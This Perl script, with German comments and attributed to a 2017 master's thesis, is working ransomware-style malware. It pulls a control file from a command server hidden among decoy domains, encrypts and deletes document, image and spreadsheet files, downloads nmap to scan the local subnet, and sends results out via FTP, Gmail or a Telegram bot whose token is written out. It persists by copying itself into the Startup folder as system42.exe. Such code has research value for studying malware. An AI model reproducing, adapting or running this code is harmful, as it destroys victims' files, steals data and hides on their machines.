#!/usr/bin/perl # © Daniel Blaeser, im Rahmen der Masterthesis, 2017 # kann folgendes: # 1) Steuercode aus Webseite auslesen # 2) Dateilisting erstellen und in eine Datei schreiben, was gefunden wurde # 3) verschluesselt bestimmte Dateitypen / Dateinamen # 4) versucht, daten auf einen FTP Server hochzuladen. klappt das nicht, dann per Mail versenden, zuletzt als Telegram Nachricht # 5) erstellt einen Autostarteintrag fuer die calc.exe use 5.24.0; use warnings; use strict; use Try::Tiny; use File::Fetch; # Teil 1 use Win32::TieRegistry (Delimiter => '/'); # Teil 1 use HTTP::ProxyAutoConfig; # Teil 1 use String::Random::NiceURL qw(id); # Teil 1 use IO::File; # Teil 1, 2 use File::Find qw(find);# Teil 2 use Crypt::CBC; # Teil 3a use Crypt::DES; # Teil 3a use Archive::Zip; # Teil 3b use Net::Address::IP::Local; # Teil 3b use Net::FTP; # Teil 4a use POSIX; # Teil 4a use Email::Send::SMTP::Gmail; # Teil 4b use LWP::UserAgent; # Teil 4c use WWW::Telegram::BotAPI; # Teil 4c use JSON::XS; # Teil 4c use File::Copy "cp"; # Teil 5 ###Variablendeklarationen### my $debug = "2"; #"1" fuer ja, "0" fuer nein, <1 fuer noch mehr Output my $cryptomethode = "e"; # e = encrypting, d = decyrpting, r = roundtrip (also beides) my $cryptomethode_intern = undef; my $cryptedfilestxtfile = "cryptedfiles.txt"; # muss nicht angepasst werden, Dateiname fuer Zwischenspeicherung my $zielverzeichnis = "$ENV{userprofile}\\Documents\\"; # wo gesucht wird nach Dateien die verschluesselt werden sollen, \ terminiert. my $dateitypfilter = "txt|jpg|mp3|png|xls|xlsx"; # welche Dateien verschluesselt werden, getrennt mit | my $dlfile = "/control.txt"; #Steuerdatei auf dem Webserver my $steuerfile = "steuerfile.txt"; #Name der Steuerdatei lokal my $copyfile = "$0"; #Datei die in den Autostart kopiert wird, $0 = sich selbst = Persistenz sichern. my $nmapdlfile = "nmap.zip"; my $nmapresultfile = "nmap_result.txt"; ################################## ###Proxy bestimmen### my $mykey = new Win32::TieRegistry #URL für proxy.pac aus Registry auslesen 'HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Internet Settings', { Access=>Win32::TieRegistry::KEY_READ(), Delimiter=>'/' }; my $proxypacurl = $mykey->GetValue('AutoConfigUrl'); #Key dey proxy.pac Datei say "Proxy.pac URL: ->> $proxypacurl" if ($debug); #debugausgabe# ##################### ###Aufrufe der einzelnen Subroutinen###### my $proxyglobal = dl_steuerfile_via_liste($proxypacurl); # Aufruf Teil 1 say "1) Steuerfile ist: " . $steuerfile if ($debug); #debugausgabe my $controlcode = parse_steuerfile(); # Aufruf Teil 1a say "1a) Controlcode ist: " . $controlcode if ($debug); #debugausgabe my $dateiliste = dateilisting($zielverzeichnis, $dateitypfilter); # Aufruf Teil 2 say "2) Dateiliste zum Verschluesseln ist " . $dateiliste if ($debug); #debugausgabe if ($cryptomethode eq "e") { # Aufruf Teil 3, abhaengig von der gewaehlten cryptomethode / Verschluesseln say "3) Cryptomethode = Verschluesseln, lege los..."; my $files_enc_raw = $dateiliste; encrypt($files_enc_raw, $cryptedfilestxtfile); say "3) Cryptomethode = Verschluesseln, fertig!"; } elsif ($cryptomethode eq "d") { # Entschluesseln say "3) Cryptomethode = Entschluesseln, lege los..."; my $files_dec_after= "recoveredfiles.txt"; decrypt($cryptedfilestxtfile, $files_dec_after); say "3) Cryptomethode = Entschluesseln, fertig!"; } elsif ($cryptomethode eq "r") { # Roundtrip = beides say "3) Cryptomethode = ...hin und zurueck..."; my $files_enc_raw = $dateiliste; say " Encrypt: files_enc_raw = " . $files_enc_raw . " | cryptedfilestxtfile = " . $cryptedfilestxtfile if ($debug); #debugausgabe encrypt($files_enc_raw, $cryptedfilestxtfile); my $files_dec_after= "recoveredfiles.txt"; sleep(30); #Schlafe 30 Sekunden, um Analyse zu ermoeglichen say " Warte 30 Sekunden... " if ($debug); #debugausgabe say " Decrypt: cryptedfilestxtfile = " . $cryptedfilestxtfile . " | files_dec_after = " . $files_dec_after if ($debug); #debugausgabe decrypt($cryptedfilestxtfile, $files_dec_after); say "3) Cryptomethode = roundtrip, fertig!"; } else { die "3) Keine gueltige cryptomethode ausgewaehlt!"}; #aufruf 3b Portscan say "Nmap download: ".dl_nmap($proxypacurl); say "3b) entpacke Nmap: $nmapdlfile" if ($debug); #debugausgabe unzip_nmap(); say "3b) bestimme lokale IP" if ($debug); #debugausgabe my $localsubnet = getlocalsubnet(); say "3b) lokales Subnetz = $localsubnet" if ($debug); #debugausgabe say "3b) Scanne lokales Subnetz ..." if ($debug); #debugausgabe run_nmap($localsubnet); append_result(); #3b ende my $uploadfilename = $cryptedfilestxtfile; # Aufruf Teil 4 - bei Misserfolg via FTP sende Mail, sonst Telegram my $ftpuploadstate = try {ftpupload($uploadfilename);} catch {warn "oO: $_"; return "ftp_nok";}; say "4) FTP Uploadstatus = " . $ftpuploadstate if ($debug); #debugausgabe if ($ftpuploadstate eq "ftp_ok"){ say "4a) FTP Upload erfolgreich!" } elsif ($ftpuploadstate ne "ftp_ok") { say "4a) FTP Upload nicht erfolgreich! Versuche E-Mail."; my $mailsendstate = try {versendemail($uploadfilename);} catch {warn "oO: $_"; return "mail_nok";}; if ($mailsendstate eq "mail_ok"){ say "4b) E-Mail Versand erfolgreich!"; } elsif ($mailsendstate ne "mail_ok"){ say "4b) E-Mail Versand fehlgeschlagen Versuche Telegram!"; my $telegramsendstate = try {sendviatelegram($uploadfilename);} catch {warn "oO: $_"; return "telegram_nok";}; if ($telegramsendstate eq "telegram_ok"){ say "4c) Telegram Versand erfolgreich!"; } elsif ($telegramsendstate ne "telegram_ok"){ die "4c) Telegram Versand fehlgeschlagen!"; } } } try{my $cpstate = neuerautostarteintrag($copyfile); #Aufruf Teil 5 - Autostart Eintrag generieren if ($cpstate eq "cp_ok") { say "5) Neuer Autostarteintrag angelegt." } elsif ($cpstate ne "cp_ok") { die "5) Autostarteintrag anlegen fehlgeschlagen."; } }; ### Ende Aufrufe########### ############################################################### # -----------Teil 1 - Download des Steuerfiles----------------- #Routine, die eine Liste mit Fake URLs aufbaut und diese nach und nach ausprobieren laesst (ueber die dl_steuerfile()) sub dl_steuerfile_via_liste{ my $ppurlfueruebergabe = $_[0]; # Pfad zur Proxy.pac my @urlliste = ""; # leere URL Liste anlegen for (my $i=0; $i<=8; $i++) { # 8 random URLs generieren $urlliste[$i] = "http://www.".id(8).".de"; } push @urlliste, "http://www.D34dB33f.de"; # echte URL hinzufuegen foreach my $eintrag (@urlliste) { say "Versuche Steuerdatei von $eintrag herunterzuladen" if ($debug); #debugausgabe my $proxytemp = dl_steuerfile($ppurlfueruebergabe, $eintrag); # Aufruf der Downloadroutine say "Proxytemp ist: $proxytemp" if ($debug); #debugausgabe return $proxytemp if ($proxytemp ne "error"); } } # Routine, die eine Steuerdatei von einer URL herunterlaedt. # Request erzeugen, proxy.pac url auslesen, Proxy fuer eine bestimmte URL auslesen sub dl_steuerfile{ my $ppurl = $_[0]; # Pfad zur Proxy.pac my $dlfile_int = $_[1].$dlfile; # Zusammenbau aus URL die uebergeben wird und Dateiname. my $request1 = HTTP::Request->new(GET => "$dlfile_int"); my $pac = HTTP::ProxyAutoConfig->new("$ppurl"); my $proxy = $pac->FindProxy("$dlfile_int"); say "Proxy fuer URL $dlfile_int ist $proxy" if ($debug); #debugausgabe my $ua = LWP::UserAgent->new( keep_alive => 1); #Useragent erzeugen if ($proxy eq "DIRECT"){ #Proxy setzen say "kein Proxy notwendig.." if ($debug); #debugausgabe } elsif ($proxy ne "DIRECT"){ $proxy =~ s/^PROXY //; $proxy = "http://".$proxy; say "Proxy ohne bla = $proxy" if ($debug); #debugausgabe $ua->proxy(['http', 'https'], $proxy); } # Request an den Useragent uebergeben und Response erhalten my $response1 = $ua->request($request1); # Ergebnis der Response auswerten if ($response1->is_success) { open( my $ff, '>', "$steuerfile") or die "Konnte Datei $steuerfile nicht oeffnen: $!"; print $ff $response1->content; say "Erfolg!" if ($debug); #debugausgabe say " aktueller Proxy ist $proxy" if ($debug); #debugausgabe return $proxy; } else { print $response1->status_line, "\n"; say "Fehler :_(" if ($debug); #debugausgabe return "error"; } } # --------- Teil 1a, Parsing ----------------------------------------- # Routine, die aus dem heruntergeladenen Steuerfile ein Zeichen extrahiert. sub parse_steuerfile{ state @zeichen; state $z; #Datei einlesen my $fh = IO::File->new(); if ($fh->open($steuerfile)) { @zeichen = split(//,join('',split(/-/, <$fh>))); } else {die say "fehler: " . $fh->error;} #Das 5te Zeichen ausgeben my $controlcode = $zeichen[5]; #das wievielte Zeichen? (Beginn bei 0) say " Steuerzeichen ist: $controlcode" if ($debug); #debugausgabe return $controlcode; } # ----------- Teil 1 - Ende --------------------------------- # ------------Teil 2 - Dateilisting basierend auf controlcode erstellen------- #Routine, um ein Verzeichnis zu durchsuchen nach einem bestimmten Dateityp, Output als Datei. sub dateilisting{ my $suchpfad = $_[0]; #welcher Pfad soll durchsucht werden my $filter = $_[1]; # regex filter fuer die suche sub list_dirs { # Verzeichnis auflisten incl. Unterverzeichnisse my @dirs = @_; my @files; find({ wanted => sub { push @files, $_ } , no_chdir => 1 }, @dirs); return @files; } my @dateiliste = list_dirs ($suchpfad); # Ergebnis in ein Array schreiben say ' GREP AUSDRUCK: ' . $filter if ($debug > 1); #debugausgabe my @dateiliste_grep = grep(/\.$filter\Z/gi, @dateiliste); # Array filtern auf Dateien mit Regex say " Suche alle " . join(' | ', $filter) . " Dateien aus: " . $suchpfad if ($debug > 1); #debugausgabe say join ' | ', @dateiliste_grep if ($debug > 1); #debugausgabe my $dateiliste_output = "dateiliste_output.txt"; # Dateiliste in eine Datei schreiben open my $dateiliste_output_fh, '>', $dateiliste_output or die "Cannot open File for writing: $!"; foreach (@dateiliste_grep) { print $dateiliste_output_fh "$_\n"; } say " Dateiliste = " .$dateiliste_output; return $dateiliste_output; # Gefiltertes Array zurueckgeben } # ----------- Teil 2 - Ende ---------------------------------------- # ----------- Teil 3 - Verschluesseln von bestimmten Dateien -------- #Routine zum verschluesseln von Dateien in einer Liste sub encrypt{ my $inarray = $_[0]; my $outarray= $_[1]; say " Verschluessele Array..."; open( my $fhread, '<', $inarray) or die "Konnte Datei $inarray nicht oeffnen: $!"; open( my $fhwrite, '>', $outarray )or die "Konnte Datei $outarray nicht oeffnen: $!"; while( my $infile = <$fhread>) { $infile =~ s/[\x0A\x0D]//g; #CR LF entfernen my $outfile = "$infile".".crypt"; # Dateiendung .crypt hinzufuegen say " Bearbeite Datei: " . $infile; #debugausgabe say " Ausgabe Datei: " . $outfile; #debugausgabe print $fhwrite $outfile."\n"; #CR LF wieder hinzufuegen crypto($infile, $outfile, "e"); say " Erfolgreich verschluesselt: $infile, Output: $outfile"; unlink $infile; # Datei nach verschluesseln loeschen } } #Routine zum entschluesseln von Dateien in einer Liste sub decrypt{ my $inarray = $_[0]; my $outarray= $_[1]; say " Entschluessele Array..."; open( my $fhread, '<', $inarray) or die "Konnte Datei $inarray nicht oeffnen: $!"; open( my $fhwrite, '>', $outarray )or die "Konnte Datei $outarray nicht oeffnen: $!"; while( my $infile = <$fhread>) { $infile =~ s/[\x0A\x0D]//g; #CR LF entfernen my $outfile = substr($infile, 0 , -6); # .crypt am ende entfernen say " Bearbeite Datei: " . $infile; #debugausgabe say " Ausgabe Datei: " . $outfile; #debugausgabe print $fhwrite $outfile."\n"; #CR LF wieder hinzufuegen crypto($infile, $outfile, "d"); say " Erfolgreich entschluesselt: $infile, Output: $outfile"; unlink $infile; # Datei nach entschluesseln loeschen } } # Cryptoroutine, die Dateien ver- oder entschluesselt (symetrisch) sub crypto{ my $buffer; my $encoding = ":raw :bytes"; my $infile = $_[0]; my $outfile= $_[1]; my $cryptomethode_intern = $_[2]; my $FI = undef; my $FO = undef; my $cipher = Crypt::CBC->new( {'key' => 'CCCFCACS', # Cyber Centrum fuer Cyber Fragen und Cyber Abwehr im Cyber Space 'literal_key' => 1, 'iv' => '%$gJ6.$d', 'padding' => 'standard', 'prepend_iv' => 0, 'blocksize' => 8 }); if ($cryptomethode_intern eq "d") { $cipher->start('decrypting'); open($FI , "< $encoding" , $infile) || die "$0: can't open $infile for reading: $!"; open($FO , "> $encoding" , $outfile) || die "$0: can't open $outfile for writing: $!"; while (read($FI,$buffer,1024)) { print $FO $cipher->crypt($buffer); } print $FO $cipher->finish; close $FO; } elsif ($cryptomethode_intern eq "e") { $cipher->start('encrypting'); open($FI , "< $encoding" , $infile) || die "$0: can't open $infile for reading: $!"; open($FO , "> $encoding" , $outfile) || die "$0: can't open $outfile for writing: $!"; while (read($FI,$buffer,1024)) { print $FO $cipher->crypt($buffer); } print $FO $cipher->finish; close $FO; } } # ----------- Teil 3a - Ende ---------------------------------------- # ----------- Teil 3b - Portscan ---------------------------------------- #Routine um Nmap zu laden sub dl_nmap{ my $ppurl = $_[0]; # Pfad zur Proxy.pac my $dlfile_int = "https://d34db33f.de/nmap_inc_dll.zip"; my $requestp = HTTP::Request->new(GET => "$dlfile_int"); my $pac = HTTP::ProxyAutoConfig->new("$ppurl"); my $proxy = $pac->FindProxy("$dlfile_int"); say "Proxy fuer URL $dlfile_int ist $proxy" if ($debug); #debugausgabe my $ua2 = LWP::UserAgent->new( keep_alive => 1); #Useragent erzeugen if ($proxy eq "DIRECT"){ #Proxy setzen say "kein Proxy notwendig.." if ($debug); #debugausgabe } elsif ($proxy ne "DIRECT"){ $proxy =~ s/^PROXY //; $proxy = "http://".$proxy; say "Proxy ohne bla = $proxy" if ($debug); #debugausgabe $ua2->proxy(['http', 'https'], $proxy); } # Request an den Useragent uebergeben und Response erhalten my $responsep = $ua2->request($requestp); # Ergebnis der Response auswerten if ($responsep->is_success) { open( my $ff, '> :raw :bytes', "$nmapdlfile") or die "Konnte Datei nmap.zip nicht oeffnen: $!"; print $ff $responsep->content; say "Erfolg!" if ($debug); #debugausgabe return "nmap_ok"; } else { print $responsep->status_line, "\n"; say "Fehler bei nmap download :_(" if ($debug); #debugausgabe return "error"; } }; sub unzip_nmap { my $zip = Archive::Zip->new; $zip->read ("$nmapdlfile"); $zip->extractTree() }; sub getlocalsubnet{ my $address = Net::Address::IP::Local->public_ipv4; $address =~ s/\.\d{1,3}$/\.0\/24/ ; return $address; }; sub run_nmap{ my $subnet = $_[0]; # Uebergebenes Subnetz my $cmd = "nmap-7.60/nmap.exe"; my @par = ("-F", "$subnet", "-oN", "$nmapresultfile"); system($cmd, @par); return $nmapresultfile; }; sub append_result{ open( my $fhwritenmap, '>>', $cryptedfilestxtfile )or die "Konnte Datei $cryptedfilestxtfile nicht oeffnen: $!"; print $fhwritenmap $nmapresultfile."\n"; #CR LF wieder hinzufuegen close $fhwritenmap; }; # ----------- Teil 3b - Ende ---------------------------------------- # ----------- Teil 4 - Upload / Mailversand ---------------------------------------- #Routine, um Dateien auf einen FTP Server zu laden sub ftpupload{ my $ftp; my $host = "server6.webgo24.de"; my $user = "web203f2"; my $pass = "*"; my $dir = "\\"; my $fpath = $_[0]; my $timestamp = strftime("%Y-%m-%d_%H-%M-%S", localtime(time)); # Timestamp an die Datei anfuegen if ($proxyglobal ne "DIRECT"){ # Wenn Proxy vorhanden, dann ueberspringen, da ueblicherweise geblockt. say "Proxy vorhanden, ueberspringe FTP.." if ($debug); #debugausgabe return "ftp_nok"; } elsif ($proxyglobal eq "DIRECT"){ $ftp = Net::FTP->new($host, Debug => 0); $ftp->login($user, $pass) || die $ftp->message; $ftp->cwd($dir); $ftp->put($fpath, $timestamp."_".$fpath) || die $ftp->message; $ftp->quit; say $ftp->message if ($debug > 1); #debugausgabe say " Erfolgreich folgende Datei per FTP transferiert: ". $timestamp."_".$fpath; return "ftp_ok"; } } #Routine, um per komma separierte Dateien per Mail zu versenden sub versendemail{ my $timestamp = strftime("%Y-%m-%d_%H-%M-%S", localtime(time)); my $subject = "MDF Exfiltration"; my $body = "$timestamp \n Hier kommen die Daten... :-\)"; my $sendto = "masterthesisdf\@gmail.com"; my $anhang = $_[0]; #"anhang.txt,anhang2.txt" #kommasepariert my ($mail,$error)=Email::Send::SMTP::Gmail->new( -smtp=>'smtp.gmail.com', -login=>'masterthesisdf@gmail.com', -pass=>'*', -debug=>"0", -layer=>"ssl"); print "session error: $error" unless ($mail!=-1); if ($proxyglobal ne "DIRECT"){ # Wenn Proxy vorhanden, dann ueberspringen, da ueblicherweise geblockt. say "Proxy vorhanden, ueberspringe Mail.." if ($debug); #debugausgabe return "mail_nok"; } elsif ($proxyglobal eq "DIRECT"){ $mail->send(-to=>"$sendto", -subject=>"$subject", -body=>"$body", -attachments=>"$anhang"); $mail->bye; say " Erfolgreich folgende Datei per Mail transferiert: ". $anhang; return "mail_ok"; } } #Routine, um Dateien an einen Telegrambot zu senden sub sendviatelegram{ my $file = $_[0]; open my $telegramfile, $file or die "Could not open $file: $!"; # Proxy definieren my $ua_telegram = LWP::UserAgent->new( keep_alive => 1); $ua_telegram->proxy(['http', 'https'], $proxyglobal); # Einleitung versenden my $request_einleitung = HTTP::Request->new(GET => "https://api.telegram.org/bot401124764:AAEa_D45TKQET-y0LIbLTOpMr6utinbETM4/sendMessage?chat_id=306049166&text=Das wurde verschluesselt:"); my $response_einleitung = $ua_telegram->request($request_einleitung); # Wenn das klappt, dann den Rest auch versenden! if ($response_einleitung->is_success) { say "Einleitungszeile uebermittelt via Telegram!" if ($debug); #debugausgabe # Rest #Dateien per Telegram hochladen my $api = WWW::Telegram::BotAPI->new ( token => '401124764:AAEa_D45TKQET-y0LIbLTOpMr6utinbETM4', force_lwp => 1 ); #proxy setzen $api->agent->proxy(['http', 'https'], $proxyglobal); say "liste geladen: $file" if ($debug); #debugausgabe while( my $infile = <$telegramfile>) { $infile =~ s/[\x0A\x0D]//g; #CR LF entfernen say "sende $infile" if ($debug); #debugausgabe $api->sendDocument ({ chat_id => 306049166, document=> {file => "$infile"} }); say "gesendet: $infile" if ($debug); #debugausgabe my $result = eval { $api->getMe } or die 'Got error message: ', $api->parse_error->{msg}; } #epilog my $request_ende = HTTP::Request->new(GET => "https://api.telegram.org/bot401124764:AAEa_D45TKQET-y0LIbLTOpMr6utinbETM4/sendMessage?chat_id=306049166&text=----Fertig!----"); my $response_ende = $ua_telegram->request($request_ende); say " Erfolgreich verschluesselte Dateien an Telegram-Bot uebermittelt: ". $file; return "telegram_ok"; # Rest ende } else { print $response_einleitung->status_line, "\n"; say "Fehler :_(" if ($debug); #debugausgabe } } # ----------- Teil 4 - Ende ---------------------------------------- # ----------- Teil 5 - Autorun Eintrag erstellen ---------------------------------------- #Routine, um eine Datei in den Autostart zu kopieren sub neuerautostarteintrag{ my $copyfile = $_[0]; open( my $n, '<', $copyfile) or die "Konnte Datei $copyfile nicht oeffnen: $!"; cp($n,"$ENV{appdata}"."\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\system42.exe") or die "Copy failed: $!"; # Zieldatei ist system42.exe return "cp_ok"; } # ----------- Teil 5 - Ende ----------------------------------------